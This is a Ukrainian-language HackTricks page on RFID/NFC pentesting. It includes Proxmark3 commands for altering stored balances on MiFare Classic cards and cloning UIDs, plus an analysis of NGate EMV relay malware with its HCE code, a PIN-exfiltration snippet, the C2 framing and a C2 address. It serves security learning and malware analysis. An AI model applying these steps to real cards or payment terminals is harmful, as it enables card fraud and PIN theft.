Pentesting RFID

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Вступ

Radio Frequency Identification (RFID) — найпоширеніше рішення для короткодіапазонного радіозв’язку. Зазвичай використовується для збереження та передачі інформації, яка ідентифікує об’єкт.

RFID-мітка може покладатися на власне джерело живлення (активна), наприклад вбудований акумулятор, або отримувати живлення від антени зчитувача за рахунок струму, індукованого від отриманих радіохвиль (пасивна).

Класи

EPCglobal ділить RFID-мітки на шість категорій. Мітка кожної категорії має всі можливості, перелічені в попередній категорії, що робить її зворотно сумісною.

  • Class 0 — це пасивні мітки, що працюють у UHF діапазонах. Постачальник попередньо програмує їх на заводі. Як результат, ви не можете змінити інформацію, збережену в їх пам’яті.
  • Class 1 також може працювати у HF діапазонах. Крім того, її можна записати лише один раз після виробництва. Багато Class 1 міток також можуть обробляти cyclic redundancy checks (CRCs) команд, які вони отримують. CRC — це кілька додаткових байтів в кінці команд для виявлення помилок.
  • Class 2 дозволяють багаторазовий запис.
  • Class 3 можуть містити вбудовані датчики, які фіксують параметри навколишнього середовища, такі як температура або рух мітки. Ці мітки напівпасивні, оскільки, хоча вони мають вбудоване джерело живлення, наприклад інтегрований акумулятор, вони не можуть ініціювати бездротову комунікацію з іншими мітками або зчитувачами.
  • Class 4 можуть ініціювати спілкування з іншими мітками того ж класу, роблячи їх активними мітками.
  • Class 5 можуть забезпечувати живлення іншим міткам та комунікувати з усіма попередніми класами. Class 5 можуть виступати як RFID-зчитувачі.

Інформація, що зберігається в RFID-мітках

Пам’ять RFID-мітки зазвичай зберігає чотири види даних: ідентифікаційні дані, які ідентифікують об’єкт, до якого прикріплена мітка (ці дані включають поля, визначені користувачем, наприклад банківські рахунки); доповнювальні дані, які надають додаткові деталі щодо об’єкта; контрольні дані, що використовуються для внутрішньої конфігурації мітки; та дані виробника, які містять унікальний ідентифікатор мітки (UID) та деталі щодо виробництва, типу та постачальника мітки. Перші два види даних присутні в усіх комерційних мітках; останні два можуть відрізнятися залежно від постачальника.

Стандарт ISO визначає значення Application Family Identifier (AFI) — код, який вказує на тип об’єкта, до якого належить мітка. Інший важливий регістр, також визначений ISO, — Data Storage Format Identifier (DSFID), який визначає логічну організацію користувацьких даних.

Більшість RFID механізмів безпеки мають засоби, що обмежують операції читання або запису для кожного блоку користувацької пам’яті та для спеціальних регістрів, що містять значення AFI і DSFID. Ці механізми блокування використовують дані, збережені в контрольній пам’яті, і мають паролі за замовчуванням, попередньо налаштовані виробником, але дозволяють власникам міток налаштовувати власні паролі.

Порівняння низько- та високочастотних міток

Низькочастотні RFID-мітки (125kHz)

Низькочастотні мітки часто використовуються в системах, які не потребують високого рівня безпеки: доступ до будівель, домофони, картки членства в спортзалах тощо. Завдяки більшому радіусу дії їх зручно використовувати для платних паркінгів — водію не потрібно підносити карту близько до зчитувача, оскільки вона спрацьовує здалеку. Водночас низькочастотні мітки дуже примітивні, у них низька швидкість передачі даних. Через це неможливо реалізувати складний двосторонній обмін даними для таких речей, як збереження балансу та криптографія. Низькочастотні мітки передають лише короткий ID без жодних засобів аутентифікації.

Ці пристрої базуються на пасивній технології RFID і працюють у діапазоні 30 kHz до 300 kHz, хоча частіше використовується 125 kHz — 134 kHz:

  • Довгий радіус — нижча частота означає більший радіус. Існують деякі читачі EM-Marin і HID, які працюють на відстані до метра. Їх часто використовують на паркінгах.
  • Примітивний протокол — через низьку швидкість передачі даних ці мітки можуть передавати лише свій короткий ID. У більшості випадків дані не аутентифікуються і взагалі не захищені. Як тільки картка опиняється в зоні дії зчитувача, вона просто починає передавати свій ID.
  • Низька безпека — ці картки легко копіюються або навіть зчитуються з чужої кишені через примітивність протоколу.

Популярні 125 kHz протоколи:

  • EM-Marin — EM4100, EM4102. Найпопулярніший протокол в СНД. Може бути зчитаний приблизно з метра через простоту та стабільність.
  • HID Prox II — низькочастотний протокол, представлений HID Global. Цей протокол більш популярний у західних країнах. Він складніший, а картки та читачі для нього відносно дорогі.
  • Indala — дуже старий низькочастотний протокол, що був представлений Motorola, а пізніше переданий HID. Ви менш імовірно зустрінете його в дикій природі порівняно з попередніми двома, оскільки він поступово виходить з ужитку.

Насправді існує набагато більше низькочастотних протоколів. Але всі вони використовують однакову модуляцію на фізичному рівні і в тій чи іншій формі можуть вважатися варіаціями вищезгаданих.

Атака

Ви можете атакувати ці мітки за допомогою Flipper Zero:

FZ - 125kHz RFID

Високочастотні RFID-мітки (13.56 MHz)

Високочастотні мітки використовуються для більш складної взаємодії зчитувача та мітки, коли потрібні криптографія, великий двосторонній обмін даними, аутентифікація тощо.
Їх зазвичай можна знайти в банківських картках, системах громадського транспорту та інших захищених проїздах.

Високочастотні мітки 13.56 MHz — це набір стандартів і протоколів. Їх зазвичай називають NFC, але це не завжди правильно. Базовий набір протоколів, що використовується на фізичному та логічному рівнях, — ISO 14443. Вищі рівні протоколів, а також альтернативні стандарти (наприклад, ISO 19092) базуються на ньому. Багато людей називають цю технологію Near Field Communication (NFC) — термін для пристроїв, що працюють на частоті 13.56 MHz.

Простіше кажучи, архітектура NFC працює так: протокол передачі вибирає компанія, що робить картки, і реалізує його на основі низькорівневого ISO 14443. Наприклад, NXP винайшла власний високорівневий протокол передачі під назвою Mifare. Але на нижчому рівні карти Mifare базуються на стандарті ISO 14443-A.

Flipper може взаємодіяти як з низькорівневим протоколом ISO 14443, так і з протоколом передачі даних Mifare Ultralight та EMV, що використовується в банківських картах. Ми працюємо над додаванням підтримки Mifare Classic і NFC NDEF. Детальний розгляд протоколів і стандартів, що складають NFC, вартує окремої статті, яку ми плануємо опублікувати пізніше.

Усі високочастотні картки на основі стандарту ISO 14443-A мають унікальний ідентифікатор мікросхеми. Він виступає як серійний номер картки, подібно до MAC-адреси мережевого адаптера. Зазвичай UID має довжину 4 або 7 байтів, але рідко може досягати до 10. UID не є секретом і легко зчитується, іноді навіть надрукований на самій картці.

Існує багато систем контролю доступу, які покладаються на UID для автентифікації та надання доступу. Інколи це відбувається навіть коли RFID-мітки підтримують криптографію. Таке зловживання прирівнює їх до рівня примітивних 125 kHz карток з точки зору безпеки. Віртуальні картки (наприклад, Apple Pay) використовують динамічний UID, щоб власники телефонів не відкривали двері за допомогою свого платіжного додатка.

  • Низький радіус — високочастотні картки спеціально розроблені так, щоб їх потрібно було розміщувати близько до зчитувача. Це також допомагає захистити картку від несанкціонованих взаємодій. Максимальний радіус зчитування, який нам вдалося досягти, становив близько 15 см, і це було з кастомними зчитувачами великого радіусу дії.
  • Розвинені протоколи — швидкості передачі даних до 424 kbps дозволяють реалізовувати складні протоколи з повноцінним двостороннім обміном. Це, у свою чергу, дозволяє криптографію, передачу даних тощо.
  • Висока безпека — високочастотні безконтактні картки ні в чому не поступаються смарт-картам. Є картки, що підтримують криптографічно стійкі алгоритми, такі як AES, і реалізують асиметричну криптографію.

Атака

Ви можете атакувати ці мітки за допомогою Flipper Zero:

FZ - NFC

Або використовуючи proxmark:

Proxmark 3

MiFare Classic — офлайн маніпуляції зі збереженим балансом (зламаний Crypto1)

Коли система зберігає грошовий баланс безпосередньо на картці MiFare Classic, її часто можна змінити, оскільки Classic використовує застарілий шифр Crypto1 від NXP. Crypto1 зламаний вже багато років, що дозволяє відновлювати ключі секторів і повністю читати/записувати пам’ять картки за допомогою доступного обладнання (наприклад, Proxmark3).

End-to-end workflow (абстрактно):

  1. Зчитати оригінальну картку та відновити ключі
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

This typically recovers sector keys (A/B) and generates a full-card dump in the client dumps folder.

  1. Знайти і зрозуміти поля value/integrity
  • Perform legitimate top-ups on the original card and take multiple dumps (before/after).
  • Do a diff of the two dumps to identify the changing blocks/bytes that represent the balance and any integrity fields.
  • Many Classic deployments either use the native “value block” encoding or roll their own checksums (e.g., XOR of the balance with another field and a constant). Після зміни балансу, recompute the integrity bytes accordingly і переконайся, що всі duplicated/complemented поля узгоджені.
  1. Write the modified dump to a writable “Chinese magic” Classic tag
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. Клонуйте оригінальний UID, щоб термінали розпізнавали картку
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. Використання на терміналах

Читачі, які довіряють балансу на карті та UID, приймуть змодифіковану карту. Польові спостереження показують, що багато розгортань обмежують баланс залежно від ширини поля (e.g., 16-bit fixed-point).

Примітки

  • Якщо система використовує рідні Classic value blocks, пам’ятайте формат: value (4B) + ~value (4B) + value (4B) + block address + ~address. Усі частини мають співпадати.
  • Для кастомних форматів із простими checksums, differential analysis — найшвидший спосіб вивести функцію цілісності без реверсингу firmware.
  • Тільки UID-changeable теги (“Chinese magic” gen1a/gen2) дозволяють записувати block 0/UID. Звичайні Classic картки мають read-only UIDs.

Для практичних Proxmark3 команд див.:

Proxmark 3

Створення портативного мобільного клонера HID MaxiProx 125 kHz

Якщо вам потрібне long-range, battery-powered рішення для збирання HID Prox® бейджів під час red-team операцій, ви можете перетворити настінний рідер HID MaxiProx 5375 на автономний клонер, що вміщується в рюкзаку. Повний механічний та електричний покроковий опис доступний тут:

Maxiprox Mobile Cloner

NFC/EMV Relay via Android Reader↔HCE Emitter

Classic EMV relay можна реалізувати з двома Android-пристроями: рідер на боці жертви, який захоплює живі APDUs та PIN з реальної карти, та атакуючий HCE emitter біля терміналу, який пересилає APDUs вгору по ланцюжку. Проаналізований NGate kit зловживає легітимними Android NFC APIs і простим framed TCP C2 для оркестрації реального часу ATM cash-outs.

Ключові складові

  • Reader-mode app (сторона жертви): використовує NFC reader APIs для парсингу EMV (PAN/expiry/AIDs), показує схему за AID, запитує PIN і відразу exfiltrates.
  • Emitter-mode app (сторона ATM): реалізує Host Card Emulation (HCE) з android:requireDeviceUnlock="false" та платіжним AID; processCommandApdu() пересилає APDUs до C2 і повертає мінімальну відповідь.
  • Wire protocol: length-prefixed frames, periodic keepalive; опційно TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

Приклад hce.xml (без unlock + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Прозорий relay endpoint (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

Визначення схеми EMV за AID (приклади)

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

Шаблон PIN harvesting (інтерфейс жертви)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (cleartext example)

  • Клієнт→Сервер: int32 len | int32 opcode | body
  • Сервер→Клієнт: int32 len | body (opcode inside payload)
  • Відхиляти тіла > ~100 MiB; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Приховування конфігурації: cert-derived XOR

  • Нативна бібліотека отримує 32-байтний ключ як SHA‑256 від app signing certificate (DER).
  • C2 config є ASCII‑hex у assets (наприклад, assets/____), hex-decoded і XOR-ed з ключем, що повторюється кожні 32 байти:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

Офлайн PoC для decrypt config

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Приклад розшифрованих полів: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

Ланцюг ретрансляції (end-to-end)

  1. Жертва встановлює APK, відкриває додаток → native init дешифрує config з assets.
  2. Додаток підключається до C2 (наприклад, 91.84.97.13:5653) через framed TCP; keepalive ~7s.
  3. Жертва прикладає картку → reader витягує PAN/expiry/AIDs і відправляє CARD_DISCOVERED.
  4. Жертва вводить PIN → keypad публікує та ексфільтрує через PIN_REQ; server відповідає VALID/INVALID лише для UI.
  5. Пристрій атакувальника біля терміналу запускає HCE emitter, що ретранслює APDUs до ATM і виконує cash-out.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks